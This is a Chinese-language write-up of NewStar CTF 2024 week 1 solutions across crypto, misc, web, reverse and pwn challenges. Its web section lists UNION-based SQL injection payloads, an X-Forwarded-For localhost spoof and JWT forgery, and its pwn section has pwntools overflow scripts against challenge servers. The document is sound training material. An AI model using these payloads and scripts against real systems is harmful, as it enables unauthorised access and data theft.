NewStar2024-week1
前言:刚开始比赛,时间比较多尝试了一下所有题目,难度也很友好,之后就写密码了,写全部太累了
Week1
Crypto
Base
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
秒了
一眼秒了
p,q相近
或者factordb查
"""from Crypto.Util.number import *
from gmpy2 import *
from serct import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)
print(n)
print(c)"""
from Crypto.Util.number import *
from gmpy2 import *
n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
p=iroot(n,2)[0]
p=next_prime(p)
while n%p!=0:
p=next_prime(p)
print(long_to_bytes(pow(c,invert(65537,p-1),p)))
#b'flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}'
xor
重新执行一遍就好
"""#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in.
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long
key = b'New_Star_CTF'
flag='flag{*******************}'
m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]
c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)
"""
from pwn import xor
from Crypto.Util.number import long_to_bytes,bytes_to_long
key = b'New_Star_CTF'
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
print(long_to_bytes(c1 ^ bytes_to_long(key)))
print(xor(key,c2))
#flag{0ops!_you_know_XOR!}
Strange King
某喜欢抽锐刻5的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给
这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag包裹的是可读的明文
根据题目简介,一开始密钥为5,要取模
经过测试,密钥每次要+2
a="ksjr{EcxvpdErSvcDgdgEzxqjql}"
#print(ord('k'))
#print(ord('f'))
#print(ord('a'))
#print(ord('l'))
key=5
for i in a:
if 'a'<=i<='z':
print(chr((ord(i)-ord('a')-key)%26+ord('a')),end="")
elif 'A'<=i<='Z':
print(chr((ord(i)-ord('A')-key)%26+ord('A')),end="")
else:
print(i,end="")
key+=2
Misc
兑换码
png改高
Labyrinth
stegsolve秒了
WhereIsFlag
一个个目录遍历就好了
在/proc/self/environ里
pleasingMusic
最后有摩斯电码
一首歌可以好听到正反都好听
根据题目介绍,逆一下就对了
decompress
7z打开一直往里走,最后得到一个真加密的压缩包
并获得提示:^([a-z]){3}\d[a-z]$
zip2john获取hash,根据提示hashcat爆破
Web
headach3
F12看响应头
会赢吗
第一部分F12查看源码,并获得第二部分地址
访问之后看源码可以得到一个函数revealFlag
根据提示在控制台输入并传递参数
测试一下就得到了第二部分flag
启动本地替代,修改对应源码位置
之后点击即可得到第三部分flag
将js代码里下面console.log的代码覆盖掉上面监听的代码,之后点击按钮即可。
最后base64解码即可
智械危机
看源码用cyberchef就可以了
(下图是cmd参数的值,把灰色点亮就是key的值)
谢谢皮蛋
sqli第二关,无闭合
# 确认回显位置
-1 union select 1,2--
# 查询数据库名
-1 union select 1,database() --
# 查询表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--
# 得到表Fl4g
# 查询列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()--
# 得到列 id,des,value
# 查询值
-1 union select group_concat(value),group_concat(des) from Fl4g--
PangBai 过家家(1)
(从头梳理一遍,一开始就用bp抓包等着)
level1→level2
点击屏幕后等过场动画完,会发现从/start重定向回到了根目录
这时候的返回包里有location,这就是level2的地址
直接访问这个地址就会重新重定向到level2
(服务器是通过token中的jwt值来判断处在level几的)
level2→level3
将最新的包拉到Repeater去重新编辑发送
根据提示,使用GET请求,参数为ask,值为miao
当返回包为302响应时,才表示成功
之后要把右侧的token值覆盖掉原来的token,才能放问下一关
如下图,修改后重新发包即可
level3→level4
根据提示,使用POST提交数据
修改三处常规的即可
之后同上,修改token值
level4→level5
第一步,根据提示修改User-Agent的值,需要符合语法,需要加上版本号,这里随意数字(不一定需要小数点)
之后得到提示,需要说“玛卡巴卡阿卡哇卡米卡玛卡呣”,由于bp不好发中文,这里进行url编码再发送
成功
(之后记得修改token值)
level5→level6
之后按照提示,使用PATCH方法
(我不太懂,所以我交给了AI,具体修改内容如下
需要将Content-type修改为multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
之后在后面添加上原来的POST数据(不然Pangbai不让你过)
之后再添加上提示的内容(补丁包)
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="say"玛卡巴卡阿卡哇卡米卡玛卡呣
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="*.zip"
Content-Type: application/zipnaby
------WebKitFormBoundary7MA4YWxkTrZu0gW--
(成功之后记得修改token值)
level6
首先需要修改成localhost访问
添加参数X-forwarded-for:127.0.0.1
之后得到jwt加密密钥:Fo4iw52x6nYnonu2
(这就是密钥,前后的不是密钥缺失部分)
将我们已知token里的jwt拿去修改
测试一遍后是将level改成0即可
之后使用浏览器打开访问/start,hackbar改token发包就可以啦
Reverse
begin
简单题开始记事本大法,最后一个flag还是需要ida打开看函数名。
base64
这个就可以记事本大法了
可以才出来就是换表base64
Simple_encryption
很简单的加密逻辑,最后模256就好了
data=[0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28]
key=[0x1f,0x29,0x55]
for i in range(len(data)):
if i%3==0:
m=data[i]+key[i%3]
elif i%3==1:
m=data[i]-key[i%3]
else:
m=data[i]^key[i%3]
print(chr(m%256),end="")
# flag{IT_15_R3Al1y_V3Ry-51Mp1e}
ezAndroidStudy
用jeb_pro打开。
上面搜索可以发现其实有多段flag,我们就带上数字搜
flag1
flag{Y0u
flag2
搜索flag2后,在这里看伪代码
后面注释得到flag2:_@r4
flag3
在flag2处可以发现剩下几个flag的提示,第三部分说是要去找布局
public static int third = 0x7F1200B6; // string:third "layout 就是布局的意思呢,/res/layout 里的带 Activity 字样的 xml 文件通常是用来描述一个 Activity的大体布局,你能找到布局里藏起来的 flag 吗喵?"
以压缩包形式打开apk,并解压里面的./res/layout
根据提示搜索Activity,看到有个main的,打开发现flag3: _900d
flag4
flag4在我们一开始搜索flag的时候就发现是一个文本,打开就是了
flag4: _andr01d
flag5
根据flag2找到的提示,需要逆向.so文件
string:fifth "安卓卓用到的可不只有 java 呢,你知道怎么逆向安卓的 so 文件吗喵"
搜索flag5可以发现使用的so文件
同样使用压缩包方式打开apk文件
在lib里可以找到.so文件
在对应文件里可有看到flag5: _r4V4rs4r}
最后拼接flag:flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
ez_debug
在right前面打个断点,之后按几次F8就可以查看到flag
Pwn
Real Login
直接登录输入密码就好了
Game
有限时,需要使用程序传数据
from pwn import *
r=remote("101.200.139.65",20967)
for i in range(999//9+1):
r.sendline(b'9')
r.sendline(b'cat /flag')
print(r.recvline())
r.interactive()
overwrite
exeinfope打开看是64位的
int的nbytes最后被转成了unsigned int
我直接用负数打了
from pwn import *
from Crypto.Util.number import *
r=remote("39.106.48.123",41557)
r.recvuntil(b'readin: ')
r.sendline(str(-1).encode())
r.recvuntil(b'to say: ')
payload=b'a'*48+b'114515'
r.sendline(payload)
r.interactive()
gdb
用gdb调试运行之后可以得到最后的值4557455355431d5d,reverse一下就好了
from pwn import *
r=remote("8.147.132.32",16637)
payload=bytes.fromhex("4557455355431d5d")
r.recvuntil(b"data: ")
r.sendline(payload[::-1])
r.interactive()